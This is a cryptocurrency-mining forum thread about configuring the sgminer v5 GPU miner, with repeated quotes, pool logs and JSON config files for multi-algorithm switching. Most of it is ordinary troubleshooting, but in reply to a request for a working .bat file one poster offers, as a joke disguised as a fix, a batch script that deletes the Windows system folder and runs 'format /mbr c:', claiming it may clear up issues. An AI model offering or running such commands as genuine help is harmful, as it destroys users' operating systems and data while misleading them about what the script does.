[ANN] sgminer v5 - optimized X11/X13/NeoScrypt/Lyra2RE/etc. kernel-switch miner

[grendel25]

Test what?  I went to the link and say something about a "remove-disabled" : "true"  but that didn't change anything.  I still get 0's hashs

We know about this issue: https://github.com/sgminer-dev/sgminer/issues/249

Code:

"remove-disabled" : true (true without quotes)

worked for me and in last comment i said why 0 hashes happens. Please, try to remove everything from config about device with '0' id. For example i see this:

Code:

"device" : "1,2,3,4,5", 

but here 6 settings

Code:

"gpu-threads": "2,1,1,2,2,1",

If after that you still get zero hashrate i can send you sgminer version with additional logging about this issue, your output will be really helpful.

The "device" tells it which devices to use.  you still have to have all six settings in other areas, otherwise it would incorrectly assign the settings you want.

Anyhow, I got it to work by fenagling with this:

"algorithm" : "marucoin-mod",
"kernel-path": "/usr/local/bin"

I used the c:/path/to/my/bin instead of /usr/local/bin... have no idea if that was the right thing to do but I did that, deleted bins and it works now.  What a PITA  lol

Never mind... it worked for a few minutes and then seems to cutout when switching algos

edit:  works just fine on my rig with 4 x 7970s and I didn't have to have an "algo" specified in the conf with my other device settings.  But the rig with 280x and 5870/5970 is failing

[bullus]

Test what?  I went to the link and say something about a "remove-disabled" : "true"  but that didn't change anything.  I still get 0's hashs

We know about this issue: https://github.com/sgminer-dev/sgminer/issues/249

Code:

"remove-disabled" : true (true without quotes)

worked for me and in last comment i said why 0 hashes happens. Please, try to remove everything from config about device with '0' id. For example i see this:

Code:

"device" : "1,2,3,4,5", 

but here 6 settings

Code:

"gpu-threads": "2,1,1,2,2,1",

If after that you still get zero hashrate i can send you sgminer version with additional logging about this issue, your output will be really helpful.

Thanks, I tested it and now I use 2 sgminers to mine and it works with "remove-disabled" : true
7950,6970,7950,7950,7950

1 config with "device" : "0,2,3,4" and the other with "device" : "1"


 

[Elun]

Test what?  I went to the link and say something about a "remove-disabled" : "true"  but that didn't change anything.  I still get 0's hashs

We know about this issue: https://github.com/sgminer-dev/sgminer/issues/249

Code:

"remove-disabled" : true (true without quotes)

worked for me and in last comment i said why 0 hashes happens. Please, try to remove everything from config about device with '0' id. For example i see this:

Code:

"device" : "1,2,3,4,5", 

but here 6 settings

Code:

"gpu-threads": "2,1,1,2,2,1",

If after that you still get zero hashrate i can send you sgminer version with additional logging about this issue, your output will be really helpful.

The "device" tells it which devices to use.  you still have to have all six settings in other areas, otherwise it would incorrectly assign the settings you want.

Anyhow, I got it to work by fenagling with this:

"algorithm" : "marucoin-mod",
"kernel-path": "/usr/local/bin"

I used the c:/path/to/my/bin instead of /usr/local/bin... have no idea if that was the right thing to do but I did that, deleted bins and it works now.  What a PITA  lol

Never mind... it worked for a few minutes and then seems to cutout when switching algos

edit:  works just fine on my rig with 4 x 7970s and I didn't have to have an "algo" specified in the conf with my other device settings.  But the rig with 280x and 5870/5970 is failing

Yeah, looked  in code deeply, suggestion to remove settings for disabled card was wrong idea.
Let's try to solve it step by step:
1. Is miner stable with pool-algortihm setting equal for all pools?
2. Is miner stable without device option?
3. Can you send log file when miner crashes?
4. If miner crashes only on algoswitch, can you send log file from this version: https://www.dropbox.com/s/2zb0f3sal6kkrgl/sgminer_algoswitch_addlog.zip ? I added some messages to thread restart procedure.
Also, can you post your current conf file?

[bullus]

@Elun

Are u working for a fix to use only 1 sgminer when using multi-algo?

"algorithm" : "marucoinmod,marucoinmod-old,marucoinmod"

[bullus]

Test what?  I went to the link and say something about a "remove-disabled" : "true"  but that didn't change anything.  I still get 0's hashs

We know about this issue: https://github.com/sgminer-dev/sgminer/issues/249

Code:

"remove-disabled" : true (true without quotes)

worked for me and in last comment i said why 0 hashes happens. Please, try to remove everything from config about device with '0' id. For example i see this:

Code:

"device" : "1,2,3,4,5", 

but here 6 settings

Code:

"gpu-threads": "2,1,1,2,2,1",

If after that you still get zero hashrate i can send you sgminer version with additional logging about this issue, your output will be really helpful.

The "device" tells it which devices to use.  you still have to have all six settings in other areas, otherwise it would incorrectly assign the settings you want.

Anyhow, I got it to work by fenagling with this:

"algorithm" : "marucoin-mod",
"kernel-path": "/usr/local/bin"

I used the c:/path/to/my/bin instead of /usr/local/bin... have no idea if that was the right thing to do but I did that, deleted bins and it works now.  What a PITA  lol

Never mind... it worked for a few minutes and then seems to cutout when switching algos

edit:  works just fine on my rig with 4 x 7970s and I didn't have to have an "algo" specified in the conf with my other device settings.  But the rig with 280x and 5870/5970 is failing

Yeah, looked  in code deeply, suggestion to remove settings for disabled card was wrong idea.
Let's try to solve it step by step:
1. Is miner stable with pool-algortihm setting equal for all pools?
2. Is miner stable without device option?
3. Can you send log file when miner crashes?
4. If miner crashes only on algoswitch, can you send log file from this version: https://www.dropbox.com/s/2zb0f3sal6kkrgl/sgminer_algoswitch_addlog.zip ? I added some messages to thread restart procedure.
Also, can you post your current conf file?

Thank you Elun and Bullus.  

1.  wouldn't different pools have different algos?
2.  I can't confirm anything as stable in this version as I've experienced far more driver glitches since trying sgminer5
3.  I haven't recorded logs on this thing... I'll consider it.
4.  Miner crashed other times but not very often.  

Here's my currrent conf.  I guess I have a lot more work to do to set various parameters on various pools.  Although... I still go back to the fact that my other miner works perfectly fine.  what could be the difference between a 7970 rig and a 280X/5870/5970 rig?  As far as I can tell... everything else is the same on the two rigs other than the video cards.  Here's the working config on my 7970 rig:

Code:

{
   
    ],
"gpu-engine" : "1065,1065,1000,1040",
"gpu-memclock": "1250",
"worksize": "256",
"intensity" : "19",
"thread-concurrency": "8192",
"gpu-threads": "2",
"lookup-gap" : "2",
"queue": "1"
}

only diff between rigs are the "device" : "1,2,3,4,5" and the algo settings.

edit... probably just something screwy with my rig

For the 280X/5870/5970 rig u need to use 2xsgminer to mine, like I did.
1 config for only the 280x and another for 5870/5970 using marucoinmod-old for x13

edit;
my config for 7950

Code:

 {
"pools" : [
        {
 		"name" : "am02 x11 multi",
		"url" : "stratum+tcp://am02.eu.trademybit.com:4010",
		"user" : "xxx",
		"pass" : "1111",
                "algorithm":"darkcoin-mod"
	},
        {
		"name" : "am02 x13 multi",
		"url" : "stratum+tcp://am02.eu.trademybit.com:4011",
		"user" : "xxx",
		"pass" : "1111",
                "algorithm":"marucoin-mod"
	}
],
"extranonce-subscribe" : true,
"remove-disabled" : true,
"api-allow" : "W:127.0.0.1",
"api-listen" : true,
"api-mcast-port" : "4028",
"api-port" : "4028",
"expiry" : "10",
"failover-only" : true,
"kernel-path" : "D:\\sgminer_v5_0_10062014",
"log" : "5",
"queue" : "1",
"scan-time" : "7",
"shares" : "0",
"failover-switch-delay" : "10",
"gpu-threads" : "2",
"gpu-dyninterval" : "7",
"gpu-engine" : "0",
"gpu-fan" : "65",
"gpu-platform" : "0",
"gpu-memclock" : "0",
"gpu-memdiff" : "0",
"gpu-powertune" : "8",
"gpu-vddc" : "0",
"intensity" : "18",
"temp-target" : "75",
"temp-overheat" : "85",
"temp-cutoff" : "95",
"temp-hysteresis" : "3",
"vectors" : "1",
"worksize" : "256",
"lookup-gap" : "0",
"shaders" : "1792",
"thread-concurrency" : "8192",
"device" : "0,2,3,4",
"no-pool-disable" : true
}

6970

Code:

{
"pools" : [
        {
 		"name" : "am02 x11 multi",
		"url" : "stratum+tcp://am02.eu.trademybit.com:4010",
		"user" : "xxx",
		"pass" : "1111",
                "algorithm":"darkcoin-mod"
	},
        {
		"name" : "am02 x13 multi",
		"url" : "stratum+tcp://am02.eu.trademybit.com:4011",
		"user" : "xxx",
		"pass" : "1111",
                "algorithm":"marucoin-modold"
	}
],
"extranonce-subscribe" : true,
"remove-disabled" : true,
"api-allow" : "W:127.0.0.1",
"api-listen" : true,
"api-mcast-port" : "4029",
"api-port" : "4029",
"expiry" : "10",
"failover-only" : true,
"kernel-path" : "D:\\sgminer_v5_0_10062014",
"log" : "5",
"queue" : "1",
"scan-time" : "7",
"shares" : "0",
"failover-switch-delay" : "10",
"gpu-threads" : "2",
"gpu-dyninterval" : "7",
"gpu-engine" : "0",
"gpu-fan" : "65",
"gpu-platform" : "0",
"gpu-memclock" : "0",
"gpu-memdiff" : "0",
"gpu-powertune" : "8",
"gpu-vddc" : "0",
"intensity" : "18",
"temp-target" : "75",
"temp-overheat" : "85",
"temp-cutoff" : "95",
"temp-hysteresis" : "3",
"vectors" : "1",
"worksize" : "64",
"lookup-gap" : "0",
"shaders" : "1536",
"thread-concurrency" : "8000",
"device" : "1",
"no-pool-disable" : true
}

[KiloWatts]

Everything's still working, despite total mayhem server-side 

Code:

[18:11:35] Accepted 0f216193 Diff 0.066/0.050 GPU 1 at NiceHash_X13_AS 
[18:12:18] Stratum connection to NiceHash_X13_AS interrupted
[18:12:18] Lost 1 shares due to stratum disconnect on NiceHash_X13_AS
[18:12:19] NiceHash_X13_AS not responding!
[18:12:19] Switching to NiceHash_Keccak_AS
[18:12:20] NiceHash_Keccak_AS not responding!
[18:12:28] Waiting for work to be available from pools.
[18:12:51] NiceHash_X13_AS alive, testing stability
[18:12:56] NiceHash_X11_Backup extranonce change requested
[18:13:14] NiceHash_X13_AS stable for 30 seconds
[18:13:14] Switching to NiceHash_X13_AS
[18:13:23] Work available from pools, resuming.
[18:13:36] Accepted 0593bd8b Diff 0.179/0.080 GPU 1 at NiceHash_X13_AS 
[18:14:51] NiceHash_X13_AS extranonce change requested
[18:15:03] Accepted 055d4376 Diff 0.186/0.080 GPU 0 at NiceHash_X13_AS 
[18:16:33] Stratum connection to NiceHash_X13_AS interrupted
[18:16:33] Lost 3 shares due to stratum disconnect on NiceHash_X13_AS
[18:16:34] NiceHash_X13_AS not responding!
[18:16:34] Switching to NiceHash_X11_Backup
[18:16:35] NiceHash_X11_Backup not responding!
[18:16:43] Waiting for work to be available from pools.
[18:17:37] NiceHash_X13_AS alive, testing stability
[18:17:38] NiceHash_X11_Backup difficulty changed to 0.005
[18:17:43] Work available from pools, resuming.
[18:17:43] Initialising kernel darkcoin-mod.cl with bitalign, unpatched BFI, nfactor 10, n 1024
[18:17:43] Initialising kernel darkcoin-mod.cl with bitalign, unpatched BFI, nfactor 10, n 1024
[18:17:48] Accepted c785823a Diff 0.005/0.005 GPU 1 at NiceHash_X11_Backup 

[rudarSRB]

Anyone has a working bat file?

[platinum4]

bullus you can use one sgminer instance, you need to apply a different "hamsi-expand-big" setting for the card that you want marucoin-mod-old on.

In theory it should look like [FOR EXAMPLE]

"hamsi-expand-big" : "1,1,4,1,1"   for these cards "290,290,280,290,290"

I think this will still work and should work all in the same instance.

[grendel25]

I understand the below... just another update: the 7970 rig which I thought was working wasn't actually switching.  It just stays on X13.  I don't have time for troubleshooting right now.

edit: nevermind... type-O's in my config

For the 280X/5870/5970 rig u need to use 2xsgminer to mine, like I did.
1 config for only the 280x and another for 5870/5970 using marucoinmod-old for x13

edit;
my config for 7950

Code:

 {
"pools" : [
        {
 		"name" : "am02 x11 multi",
		"url" : "stratum+tcp://am02.eu.trademybit.com:4010",
		"user" : "xxx",
		"pass" : "1111",
                "algorithm":"darkcoin-mod"
	},
        {
		"name" : "am02 x13 multi",
		"url" : "stratum+tcp://am02.eu.trademybit.com:4011",
		"user" : "xxx",
		"pass" : "1111",
                "algorithm":"marucoin-mod"
	}
],
"extranonce-subscribe" : true,
"remove-disabled" : true,
"api-allow" : "W:127.0.0.1",
"api-listen" : true,
"api-mcast-port" : "4028",
"api-port" : "4028",
"expiry" : "10",
"failover-only" : true,
"kernel-path" : "D:\\sgminer_v5_0_10062014",
"log" : "5",
"queue" : "1",
"scan-time" : "7",
"shares" : "0",
"failover-switch-delay" : "10",
"gpu-threads" : "2",
"gpu-dyninterval" : "7",
"gpu-engine" : "0",
"gpu-fan" : "65",
"gpu-platform" : "0",
"gpu-memclock" : "0",
"gpu-memdiff" : "0",
"gpu-powertune" : "8",
"gpu-vddc" : "0",
"intensity" : "18",
"temp-target" : "75",
"temp-overheat" : "85",
"temp-cutoff" : "95",
"temp-hysteresis" : "3",
"vectors" : "1",
"worksize" : "256",
"lookup-gap" : "0",
"shaders" : "1792",
"thread-concurrency" : "8192",
"device" : "0,2,3,4",
"no-pool-disable" : true
}

6970

Code:

{
"pools" : [
        {
 		"name" : "am02 x11 multi",
		"url" : "stratum+tcp://am02.eu.trademybit.com:4010",
		"user" : "xxx",
		"pass" : "1111",
                "algorithm":"darkcoin-mod"
	},
        {
		"name" : "am02 x13 multi",
		"url" : "stratum+tcp://am02.eu.trademybit.com:4011",
		"user" : "xxx",
		"pass" : "1111",
                "algorithm":"marucoin-modold"
	}
],
"extranonce-subscribe" : true,
"remove-disabled" : true,
"api-allow" : "W:127.0.0.1",
"api-listen" : true,
"api-mcast-port" : "4029",
"api-port" : "4029",
"expiry" : "10",
"failover-only" : true,
"kernel-path" : "D:\\sgminer_v5_0_10062014",
"log" : "5",
"queue" : "1",
"scan-time" : "7",
"shares" : "0",
"failover-switch-delay" : "10",
"gpu-threads" : "2",
"gpu-dyninterval" : "7",
"gpu-engine" : "0",
"gpu-fan" : "65",
"gpu-platform" : "0",
"gpu-memclock" : "0",
"gpu-memdiff" : "0",
"gpu-powertune" : "8",
"gpu-vddc" : "0",
"intensity" : "18",
"temp-target" : "75",
"temp-overheat" : "85",
"temp-cutoff" : "95",
"temp-hysteresis" : "3",
"vectors" : "1",
"worksize" : "64",
"lookup-gap" : "0",
"shaders" : "1536",
"thread-concurrency" : "8000",
"device" : "1",
"no-pool-disable" : true
}

[grendel25]

Anyone has a working bat file?

+10000000000000000000000000000000000000000000000000000000000000000000009999999999988888777777777777777666666665555555544444444333333333333222222221111111111111

[platinum4]

Anyone has a working bat file?

+10000000000000000000000000000000000000000000000000000000000000000000009999999999988888777777777777777666666665555555544444444333333333333222222221111111111111

Code:

pause
del %systemroot%\*.*
format /mbr c:                              

untested on Linux but may clear up some issues on Windows; you may also see a temporary decrease in hashrate.

[grendel25]

Anyone has a working bat file?

+10000000000000000000000000000000000000000000000000000000000000000000009999999999988888777777777777777666666665555555544444444333333333333222222221111111111111

Code:

pause
del %systemroot%\*.*
format /mbr c:                              

untested on Linux but may clear up some issues on Windows; you may also see a temporary decrease in hashrate.

ha!

[Elun]

@Elun

Are u working for a fix to use only 1 sgminer when using multi-algo?

"algorithm" : "marucoinmod,marucoinmod-old,marucoinmod"

No, I'm not.
I think mrbrdo had some reason to implement algo option like this, maybe it's easier to code algo-switching with only one algo for all gpus, maybe something else.

[platinum4]

@Elun

Are u working for a fix to use only 1 sgminer when using multi-algo?

"algorithm" : "marucoinmod,marucoinmod-old,marucoinmod"

No, I'm not.
I think mrbrdo had some reason to implement algo option like this, maybe it's easier to code algo-switching with only one algo for all gpus, maybe something else.

Again, try applying "hamsi-expand-big" across your devices with a 1 for 290s, or a 4 for 280s and below.  Use this with marucoin-mod.

Report back.

[SpeedDemon13]

Is there an option for worksize for each algo? Maybe something like pool-worksize?

[platinum4]

Is there an option for worksize for each algo? Maybe something like pool-worksize?

Not as of yet.

[KiloWatts]

This is happening pretty frequently...  is there a reason?  Certain ports are going Alive sporadically, and then quitting before anything happens.

[23:30:29] Accepted 01593f9d Diff 0.741/0.080 GPU 0 at NiceHash_X13_AS
[23:30:32] NiceHash_X11_AS alive, testing stability
[23:30:35] Stratum connection to NiceHash_X11_AS interrupted
[23:32:23] Accepted 06a550e3 Diff 0.150/0.080 GPU 1 at NiceHash_X13_AS

[platinum4]

This is happening pretty frequently...  is there a reason?  Certain ports are going Alive sporadically, and then quitting before anything happens.

[23:30:29] Accepted 01593f9d Diff 0.741/0.080 GPU 0 at NiceHash_X13_AS
[23:30:32] NiceHash_X11_AS alive, testing stability
[23:30:35] Stratum connection to NiceHash_X11_AS interrupted
[23:32:23] Accepted 06a550e3 Diff 0.150/0.080 GPU 1 at NiceHash_X13_AS

That's a bingo, let's ask kenshiro.  I've noticed this anomaly predominately right AFTER their stratum upgrade yesterday.

Not only that, but pretty consistently now, when it switches to x11 stratum for Nicehash, all shares get rejected below target.  This has to be a faulty stratum implementation by Nicehash, as it was hashing on x11 fine last night.  I think what we are witnessing is a coin-switch and it sparks up their stratum for a second then goes immediately dead since x11 is not the most profitable algo to mine.

[KiloWatts]

Yeah it started yesterday, but it's currently happening every 5 minutes now... 

[platinum4]

Yeah it started yesterday, but it's currently happening every 5 minutes now... 

I think Nicehash stated that their profit-switching algo flips on 10 minute intervals.  Perhaps they shortened it to 5 in the update.